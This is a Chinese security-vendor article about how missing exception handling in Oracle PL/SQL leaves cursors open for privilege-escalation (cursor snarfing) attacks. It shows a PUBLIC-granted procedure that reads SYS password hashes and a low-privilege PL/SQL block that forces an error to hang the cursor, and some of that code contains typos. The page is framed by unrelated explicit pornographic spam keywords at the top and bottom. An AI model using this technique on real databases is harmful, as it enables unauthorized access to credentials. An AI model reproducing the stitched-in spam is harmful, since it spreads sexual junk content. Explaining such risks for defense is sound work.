欧美精品一区二区,体育生GAY白袜调教VIDEO,私人影院播放器,色偷偷AV老熟女色欲涩爱

?
內(nèi)容中心
按關(guān)鍵字查找
Oracle數(shù)據(jù)庫游標(biāo)帶來的安全隱患之異常處理的缺失
作者:安華金和 發(fā)布時(shí)間:2017-01-19

數(shù)據(jù)庫游標(biāo)概念的引入,使數(shù)據(jù)庫操作更加靈活,但同時(shí)也為黑客入侵提供了便利。安華金和數(shù)據(jù)庫安全攻防實(shí)驗(yàn)室(DBSec Labs)以O(shè)racle游標(biāo)為主要分析對象,基于其應(yīng)用原理剖析游標(biāo)可能帶來的數(shù)據(jù)庫安全隱患及安全措施,希望幫助用戶提前部署防護(hù)手段。

我們將Oracle游標(biāo)的安全問題分為三類:

1、缺乏異常處理,掛起的游標(biāo)被惡意利用

2、oracle游標(biāo)漏洞提權(quán)

3、oracle游標(biāo)設(shè)計(jì)本身的安全隱患

本文先對第一種安全威脅進(jìn)行說明:

游標(biāo)將數(shù)據(jù)庫中相應(yīng)的信息存入內(nèi)存塊中,當(dāng)用戶打開游標(biāo)的時(shí)候,可以直接訪問游標(biāo)指向的內(nèi)存塊中存放的信息,而無需再訪問基表獲得數(shù)據(jù)。如果一個(gè)高權(quán)限用戶建立一個(gè)游標(biāo)卻沒關(guān)閉該游標(biāo),低權(quán)限用戶就有可能獲得游標(biāo)中存儲(chǔ)的關(guān)鍵信息,或向打開的游標(biāo)中注入惡意語句,進(jìn)行高權(quán)限運(yùn)行,達(dá)到提權(quán)或越權(quán)訪問的目的。這就是游標(biāo)SNARF提權(quán)的基礎(chǔ)。

游標(biāo)不正常關(guān)閉基本是人為造成的,高權(quán)限用戶忘記關(guān)閉,或者游標(biāo)所在的子程序缺乏異常處理機(jī)制。如果沒有做相應(yīng)的異常處理,黑客很有可能制造異常,使游標(biāo)被一直掛起,利用未關(guān)閉的游標(biāo),注入惡意代碼。再利用游標(biāo)自身的高權(quán)限執(zhí)行惡意代碼,進(jìn)行越權(quán)或者非法提權(quán)操作。

下面試驗(yàn)用例由安華金和數(shù)據(jù)庫安全實(shí)驗(yàn)室提供:

SQL> connect / as sysdba

已連接。

SQL> CREATE OR REPLACE PROCEDURE schina_test(P_USER VARCHAR) IS

  2  CURSOR_NAME INTEGER;

  3  PASSWORD VARCHAR2(30);

  4  I INTEGER;

  5  BEGIN

  6  CURSOR_NAME := DBMS_SQL.OPEN_CURSOR;

  7  DBMS_OUTPUT.PUT_LINE('CURSOR:'||CURSOR_NAME);

  8  DBMS_SQL.PARSE(CURSOR_NAME,'SELECT PASSWORD FROM

  9  SYS.DBA_USERS WHERE USERNAME=:schina',dbms_sql.native);

 10  DBMS_SQL.BIND_VARIABLE(CURSOR_NAME,:schina',P_USER);

 11  DBMS_SQL.DEFINE_COLUMN(CURSOR_NAME,1,PASSWORD,30);

 12  I:=DBMS_SQL.EXECUTE(CURSOR_NAME);

 13  IF PASSWORD = '01234567890ABCDEF' THEN

 14  DBMS_OUTPUT.PUT_LINE('YOUR PASSWORD HASH IS NOT OK');

 15  ELSE

 16  DBMS_OUTPUT.PUT_LINE('YOUR PASSWORD HASH IS OK');

 17  END IF;

 18  DBMS_SQL.CLOSE_CURSOR(CURSOR_NAME);

 19  END;

 20  /

至此PL/SQL 過程已成功完成。

SQL> grant execute on schina_test to public;

授權(quán)成功。

schina_test 是一個(gè)缺乏異常處理代碼的存儲(chǔ)過程,它的作用是對為用戶找到其密碼hash值,然后和固定HASH值進(jìn)行比較并返回結(jié)果。open_cursor打開游標(biāo)直到close_cursor或SQL會(huì)話終止游標(biāo)退出。由于缺乏異常代碼機(jī)制,用任意低權(quán)限賬號(hào)執(zhí)行這個(gè)存儲(chǔ)過程,可以觸發(fā)異常掛起游標(biāo)。

SQL> connect scott/tiger

已連接。

SQL> set serveroutput on

SQL> declare

  2  x varchar(40000);

  3  i integer;

  4  begin

  5  fro i in 1..10000 loop

  6  x:='b'||x;

  7  end loop;

  8  sys. schina_test (x);

  9  end;

 10  /

CURSOR 3241423

通過向p_user中輸入一個(gè)過長的x,系統(tǒng)返回ORA-01460錯(cuò)誤。由于存儲(chǔ)過程schina_test中沒有對異常進(jìn)行處理,雖然存儲(chǔ)過程中關(guān)閉游標(biāo)了,但由于發(fā)生異常,導(dǎo)致游標(biāo)被掛起,同時(shí)并未真正關(guān)閉。可以對未關(guān)閉的游標(biāo)注入惡意語句,以達(dá)到所需要的效果。

惡意代碼注入是三大數(shù)據(jù)庫安全問題之一,也是攻擊者常用的技術(shù)手段,通過對Oracle游標(biāo)帶來的安全隱患分析,能夠讓用戶在預(yù)知風(fēng)險(xiǎn)的情況下提前部署相應(yīng)的防護(hù)措施,如數(shù)據(jù)庫防火墻,可以對此類注入攻擊進(jìn)行實(shí)時(shí)的攔截和阻斷。


?
亚洲av无码乱码在线观看性色| 高清无码在线观看| 掀开奶罩边躁狠狠躁软学生电影 | caoporn免费视频在线| 熟女肥臀白浆大屁股一区二区| 东北大坑乱全集目录无删| 两根粗大在她腿间进进出出h| 国产成人午夜高潮毛片| 国产欧美精品一区二区三区| av免费观看| 久久久久久99av无码免费网站| 国产精品久久久久无码AV| 欧美性xxxxx极品少妇| 高辣慎入hh出轨| 极品尤物一区二区三区| AV片在线观看| 女人的选择hd中字| 女性私密部位粉嫩| 中国青年gary东北大飞机打桩| 又粗又长又大真舒服好爽| 被闺蜜男朋友强肉H高干| 国产自拍在线观看| 亚洲午夜无码久久久久| 日本a级作爱片金瓶双艳| 18禁免费吃奶摸下激烈视频| 办公室少妇激情呻吟a片在线观看| 肥嫩多毛的大荫户| 五月天中文字幕mv在线| 五月香丁激情欧美啪啪| 色翁荡息又大又硬又粗又爽小玲 | 国产精品久久| 灌满精撞击小腹鼓起h| 无遮掩爆乳全彩h漫画羞羞| 被主人野外调教暴露羞辱历程| 白天躁晚上躁天天躁2022| 公交车短裙挺进太深了h女友| 张栢芝全套94张未删图| 另类BBWBBWBBWBBW| 暖暖爱视频免费| 三个人c了我半小时| 一 级 黄 色 片一录像厅|